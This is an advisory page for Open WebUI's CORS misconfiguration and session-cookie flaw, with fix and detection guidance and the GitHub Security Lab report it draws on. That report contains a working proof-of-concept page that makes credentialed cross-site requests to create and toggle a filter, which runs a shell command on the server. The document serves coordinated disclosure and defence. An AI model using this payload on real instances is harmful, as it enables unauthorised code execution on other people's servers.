GHSA-6xcp-7mpr-m7wm: Open WebUI has a CORS misconfiguration and session validation issue
Open WebUI before 0.3.33 allows any website to make authenticated cross-site requests to it, and does not invalidate session cookies on logout. With one click from a logged-in admin, a malicious page can create a function and run code in the Open WebUI container, which runs as root in Docker. Upgrade to 0.3.33.
Published May 11, 2026 · Analysis Oct 27, 2026
What an attacker can do
Seven routers (webui, audio, images, rag, openai, ollama and the main app) add FastAPI's CORSMiddleware with allow_origins=["*"] and allow_credentials=True. FastAPI reflects the caller's origin in that setup, so any site can send credentialed requests to the instance.
Admins can reach /api/v1/functions, which runs user-supplied Python. GitHub Security Lab's proof of concept (GHSL-2024-174) is a page that, on one click, POSTs to /api/v1/functions/create with a filter whose __init__ runs subprocess.getoutput("whoami"), then calls /api/v1/functions/id/{id}/toggle to load it. The output landed in /tmp/whoami.txt on the server. The click opens a same-site URL as a Firefox cross-site cookie workaround.
The second issue (GHSL-2024-175) is that logout does not invalidate or clear the session cookie. That removes the need for the victim to be actively logged in, as long as the old cookie still sits in the browser. The attacker needs a victim admin to visit a hostile page. The result is code execution in the container, and as root in the default Docker setup, full container compromise.
Who is affected
Affected: open-webui below 0.3.33 per the package data. The advisory text lists a tested version of 0.3.10, and the page metadata cuts the range at 0.3.14, so do not rely on 0.3.14 to 0.3.32 being safe. Check:
pip show open-webuiExposure is highest when admins browse the web in the same browser they use for Open WebUI.
open-webui
- Ecosystem
- PyPI
- Affected
- < 0.3.33
- Fixed in
- 0.3.33
- Check
pip show open-webui
How to fix it
Upgrade to open-webui 0.3.33 or later:
pip install --upgrade open-webuiThe advisory's guidance is to remove the wildcard origin and let administrators set exact allowed origins in the admin panel or config, and to issue fresh cookies each session and clear them at logout. It lists no separate workaround. If you cannot upgrade, put the instance behind a proxy that overrides CORS headers, and log out and close the browser when you are done as an admin.
How to tell if you were hit
Review the functions list for filters, pipes or tools nobody on the team created, and check server logs for POSTs to /api/v1/functions/create and /toggle with an Origin header from an unknown site. On the host, look for files written by the Open WebUI process outside its data directory and for child processes spawned from it.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
GitHub Security Lab (GHSL) Vulnerability Report, open-webui: GHSL-2024-174, GHSL-2024-175
The GitHub Security Lab team has identified potential security vulnerabilities in open-webui.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2024-174 or GHSL-2024-175 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.
If you are _NOT_ the correct point of contact for this report, please let us know!
Summary
Due to a CORS misconfiguration and session validation issue, an attacker may be able to perform a 1 click attack against browsers with admin access to openwebui, resulting in remote code execution in the openwebui instance. The openwebui application runs as root in Docker container's default setup, which allows for complete compromise of the container.
Project
open-webui
Tested Version
Details
Issue 1: CORS misconfiguration on multiple routers (GHSL-2024-174)
CORS misconfigurations exist on multiple routers of open-webui which results in allowing arbitrary websites to make authenticated cross site requests to openwebui. Accounts with access to the /api/v1/functions endpoint (admins) can execute arbitrary code on the openwebui instance.
The following pattern occurs at the following routers:
- backend/apps/webui/main.py
- backend/apps/audio/main.py
- backend/apps/images/main.py
- backend/apps/rag/main.py
- backend/apps/openai/main.py
- backend/apps/ollama/main.py
- backend/main.py
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)Impact
This issue may lead to Remote Code Execution.
Remediation
The FastAPI CORS middleware is not safe by default, meaning it reflects the origin when specifying allow_origins=["*"]. Remove the vulnerable, broad origin and allow users to dynamically setup the exact allowed origins via the administration panel or config file, do not allow for broad origins such as "*" or "*.com"
Proof of Concept
Host the following code on your website, attacker.com. Open the webpage using Firefox, and click on the webpage as instructed. Check your openwebui host to see the result of the command whoami placed into a newly created file /tmp/whoami.txt. Ensure you have logged into an admin open-webui account
<body>
Click here to login.
<script>
//Firefox cross site cookie request bypass
const url = 'http://localhost:3000/static/favicon.png';
document.addEventListener("DOMContentLoaded", () => {
document.onclick = () => {
open(url);
filter_id = "okok"
//Create a function/filter to write code
fetch('http://localhost:3000/api/v1/functions/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
"id": filter_id,
"name": "test2",
"meta": {"description": "test2"},
"content": "from pydantic import BaseModel, Field\nfrom typing import Optional\n\n\nclass Filter:\n class Valves(BaseModel):\n priority: int = Field(\n default=0, description=\"Priority level for the filter operations.\"\n )\n max_turns: int = Field(\n default=8, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n class UserValves(BaseModel):\n max_turns: int = Field(\n default=4, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n def __init__(self):\n # Indicates custom file handling logic. This flag helps disengage default routines in favor of custom\n # implementations, informing the WebUI to defer file-related operations to designated methods within this class.\n # Alternatively, you can remove the files directly from the body in from the inlet hook\n # self.file_handler = True\n\n # Initialize 'valves' with specific configurations. Using 'Valves' instance helps encapsulate settings,\n # which ensures settings are managed cohesively and not confused with operational flags like 'file_handler'.\n self.valves = self.Valves()\n f = open(\"/tmp/whoami.txt\", \"w\")\n import subprocess\n\n output = subprocess.getoutput(\"whoami\")\n f.write(output)\n f.close()\n pass\n\n def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n\n def outlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n"
}),
credentials: 'include' // This will send cookies from the origin
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => console.error('Error:', error));
//Toggle the filter to execute code
fetch(`http://localhost:3000/api/v1/functions/id/${filter_id}/toggle`, {
method: 'POST',
credentials: 'include' // This will send cookies from the origin
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => console.error('Error:', error));
}
});
</script>
</body>Issue 2: Failure to Invalidate Session on Logout (GHSL-2024-175)
Openwebui fails to invalidate and clear session cookies after logout. In fact, it seems to reuse the same session cookies. This allows an attacker who has access to previous session cookie details to login at a later point as long as the victim has not closed their browser.
This vulnerability is relevant to the above CORS issue because it no longer requires the user to be logged in to exploit. If the cookie had been properly invalidated/cleared, the CORS issue would only affect logged in users.
Impact
This issue may increase the impact of primitives gained from other security issues.
Remediation
For every session, new cookies should be generated. When a user logouts, the session cookies from the previous session should be invalidated and removed from the browser's storage.
Resources
OWASP Recommendation On Sessions
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at [email protected], please include a reference to GHSL-2024-174 or GHSL-2024-175 in any communication regarding these issues.
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
Questions
- Does the attacker need credentials?
No, but the victim needs to be an admin whose browser still has a valid session cookie, and must click on the attacker's page. The CVSS vector marks user interaction as required.
- Why is the container root a problem?
The advisory notes that Open WebUI runs as root in the default Docker setup. Code run through a malicious function therefore gets complete control of the container.
- Which version fixes it?
open-webui 0.3.33. The advisory page's affected range ends at 0.3.14, so treat anything below 0.3.33 as at risk.
- Is there a CVE for this?
The entry has only a GitHub advisory id, GHSA-6xcp-7mpr-m7wm. GitHub Security Lab tracked the two issues as GHSL-2024-174 and GHSL-2024-175.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
